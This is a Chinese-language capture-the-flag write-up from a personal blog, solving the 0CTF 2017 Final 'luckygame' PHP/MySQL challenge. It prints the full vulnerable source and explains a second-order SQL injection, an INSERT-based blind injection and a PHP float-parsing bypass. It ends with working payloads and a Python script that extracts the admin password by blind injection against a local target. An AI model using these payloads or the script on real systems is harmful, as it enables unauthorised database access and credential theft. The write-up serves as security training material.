关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
0ctf2017-final-luckygame.md
无
261
0
0
mut3p1g
## luckygame 这题是一个越南小哥出的,非常有意思,虽然最后还是没做出来....这题源码不长,所以就放这里了。 <!-- more --> ``` <?php session_start(); ?> <!DOCTYPE html> <html> <head> <title>Lucky Game</title> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200"> <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet"> <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous"> <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css"> <style> .header{font-family: 'Noto Sans', sans-serif;} .header h1{color: rgb(202, 60, 60);} .button-error {background: rgb(202, 60, 60);} .button-success {background: rgb(28, 184, 65);} </style> </head> <body> <div id="layout"> <div id="menu"> <div class="pure-menu"> <a class="pure-menu-heading" href=" ">TCTF</a > </div> </div> <div id="main"> <div class="header"> <h1>幸运数字</h1> <h2>Shall we play a "lucky" game?</h2> </div> <div class="content"> <?php if (!$link=mysqli_connect('127.0.0.1', 'root', '1')) die('Connection error'); if (!mysqli_select_db($link,'luckygame')) die('Database error'); $tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()"; $cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()"; $query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT); $tbls_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query); $query = mysqli_query($link,$cols,MYSQLI_USE_RESULT); $cols_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query); # CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id)); # INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10); # CREATE TABLE logs(id int NOT NULL,log varchar(64)); foreach($_POST as $k => $v){ if(!empty($v) && is_string($v)) $_POST[$k] = trim(mysqli_escape_string($link,$v)); else unset($_POST[$k]); } foreach($_GET as $k => $v){ if(!empty($v) && is_string($v)) $_GET[$k] = trim(mysqli_escape_string($link,$v)); else unset($_GET[$k]); } function filter($s){ global $tbls_name,$cols_name; $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>"); return $s; } function register($username,$password){ global $link; $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)", filter($username),filter($password)); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; return TRUE; } function login($username,$password){ global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')", filter($username),filter($password)); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; $result = mysqli_fetch_array($query); mysqli_free_result($query); if(count($result)>0){ $_SESSION['id'] = $result['id']; $_SESSION['user'] = $result['username']; return TRUE; } else { unset($_SESSION['id'],$_SESSION['user']); return FALSE; } } function user_log($s){ global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')", filter($_SESSION['id'].'|'.$s)); if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE; } function update_point($p){ global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d", $p,$_SESSION['id']); if(!$query = mysqli_query($link,$q)) return FALSE; if(!user_log("Update ".$p)) return FALSE; return TRUE; } function my_point(){ global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s'", filter($_SESSION['user'])); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; $result = mysqli_fetch_array($query); mysqli_free_result($query); return (int)($result['points']); } switch(@$_GET['action']){ case 'register': if(!empty($_POST['user']) && !empty($_POST['pass'])) if(!register($_POST['user'],$_POST['pass'])) die("<aside>Something went wrong!</aside>"); break; case 'login': if(!empty($_POST['user']) && !empty($_POST['pass'])) login($_POST['user'],$_POST['pass']); break; case 'logout': unset($_SESSION['user'],$_SESSION['id']); break; default: break; } if(empty($_SESSION['user'])){ echo <<<EOF <form action="?action=register" method=POST class="pure-form pure-form-stacked"> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class="pure-button pure-button-primary">Register</button> </fieldset> </form> <form action="?action=login" method=POST class="pure-form pure-form-stacked"> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class="pure-button pure-button-primary button-success">Login</button> </fieldset> </form> EOF; die(); } $points = my_point(); if($points == 1337){ user_log('winner'); echo "<h3>Well played, we will give you a reward soon.</h3>"; } echo <<<EOF <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a ></h1> <h2>You got {$points} points</h2> <form method=GET class="grid-panel pure-form-aligned pure-form"> <div class="bet-control pure-control-group"> <label for="bet-input"> Your bet </label> <input name="bet" id="bet-input" data-content="bet-input" value=1> </div> <div class="guess-control pure-control-group"> <label for="guess-input"> Your guess </label> <input name="guess" id="guess-input" data-content='guess-input' type="number" min="0" value=1> </div> <button type="submit" class="pure-button pure-button-primary button-error">Place</button> </form> EOF; if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){ echo "<aside>"; if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); $number = rand()%8; echo "It is...<h1 style='color:#fff'>".$number."</h2><br />"; if( $number == $_REQUEST['guess'] ){ echo "You won!"; if(!update_point($_REQUEST['bet'])) return; } else { echo "You lost :("; if(!update_point(-$_REQUEST['bet'])) return; } echo "</aside>"; } mysqli_close($link); ?> </div> </div> </div> </body> </html> ``` 首先存在两个注入,都是很简单能发现的 ### 0x01 二次注入 虽然正常的注册、登陆被过滤了,但是在登陆后获得积分的过程是没有过滤的,所以可以利用用户名来二次注入 ``` function my_point(){ global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s'", filter($_SESSION['user'])); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; $result = mysqli_fetch_array($query); mysqli_free_result($query); return (int)($result['points']); } ``` 譬如这样就能将积分变成999了,但是长度存在限制,而且不让输入列名和表名,所以也没法利用 ![](https://leanote.com/api/file/getImage?fileId=59559d4dab64414a810004e3) ### 0x02 insert注入 ``` function user_log($s){ global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')", filter($_SESSION['id'].'|'.$s)); echo $q; if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE; } function update_point($p){ global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d", $p,$_SESSION['id']); echo $p."<br>"; if(!$query = mysqli_query($link,$q)) return FALSE; if(!user_log("Update ".$p)) return FALSE; return TRUE; } if( $number == $_REQUEST['guess'] ){ echo "You won!"; if(!update_point($_REQUEST['bet'])) return; } else { echo "You lost :("; if(!update_point(-$_REQUEST['bet'])) return; } ``` 在这里进行猜测的时候,会在这里记录日志,而这里是传入的`REQUEST`,它并没有被过滤,所以可以直接注入。但是必须得赢了才行,因为输了就会被`-$_REQUEST['bet']`强行转换为数字。而`update_point`那里同样是由于`%d`的关系转换成了数字,所以只能通过`insert`来进行盲注。 但是这里还是没法绕过`blacklist`的列名和表名。 ### 0x03 php弱类型 在php中,可以用`1eX`表示`1*(10^X)`,可以利用这个特性来绕过猜数字里面的两个判断: ``` (int)$_REQUEST['bet'] > 0 $_REQUEST['bet'] <= $points(min=0) ``` 然后看看怎么绕过这两个判断 ``` <?php $a = '1e-323'; $b = '1e-324'; var_dump((int)$a); var_dump((int)$b); var_dump($a>0); var_dump($b>0); ?> => int(1) int(1) bool(true) bool(false) ``` 可以看出来,可以用`1e-324`(比324大也可以)来绕过上面两个判断,这样就能一直进行猜测了。不过还是得赢了才能进行注入。 ### 0x04 mysql存入变量 mysql可以通过将数据存入变量的方式,之后再将变量取出来。 ![](https://leanote.com/api/file/getImage?fileId=59559d4dab64414a810004e1) ### 0x05 最后的盲注 通过以上的分析,可以通过二次注入和存入变量来执行第一个语句,将`password`数据存入`@c`,然后在猜测的时候可以通过输入`1e-324`来达到无限猜测,那么最后就是`insert`的盲注了。 这里由于过滤了时间盲注的函数,所以还是得用bool盲注。可以发现这里判断了SQL语句能否成功执行,所以可以通过创建报错与否来进行bool盲注。 利用下面这个姿势就能够构造报错了: ![](https://leanote.com/api/file/getImage?fileId=59559d4dab64414a810004e2) 不过要注意的是必须得是数字才行,字符串是不可以的哦。 而判断是否报错能够通过最后是否存在`</html>`来判断。 最后的payload如下: ``` ?bet=1e-324'and(select(ord(substr(@c,1,1))>1000)and(ST_PointFromGeoHash(user(),1)))or' [true] ?bet=1e-324'and(select(ord(substr(@c,1,1))>0)and(ST_PointFromGeoHash(user(),1)))or' [false] ``` 那么就可以写出EXP了: ``` # coding: utf-8 import requests pay = "1e-324'and(select(ord(substr(@c,%d,1))>%d)and(ST_PointFromGeoHash(user(),1)))or'" r = requests.session() data = { 'user':"admin'into @a,@b,@c,@d#", 'pass':"1", } r.post("http://127.0.0.1/0ctf/?action=login",data=data) url = "http://127.0.0.1/0ctf/?guess=1&bet=%s" def Blind_Inject(N): global ans i = 0 j = 128 while i<=j: mid = (i+j)/2 payload=pay%(N,mid) u = url%(payload) print i,j,u ret = r.get(u).content #print ret if "</html>"in ret: j = mid-1 else:i = mid+1 return i ans ='' for i in range(1,100): ans += chr(Blind_Inject(i)) print 'ans',i,ans print ans ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.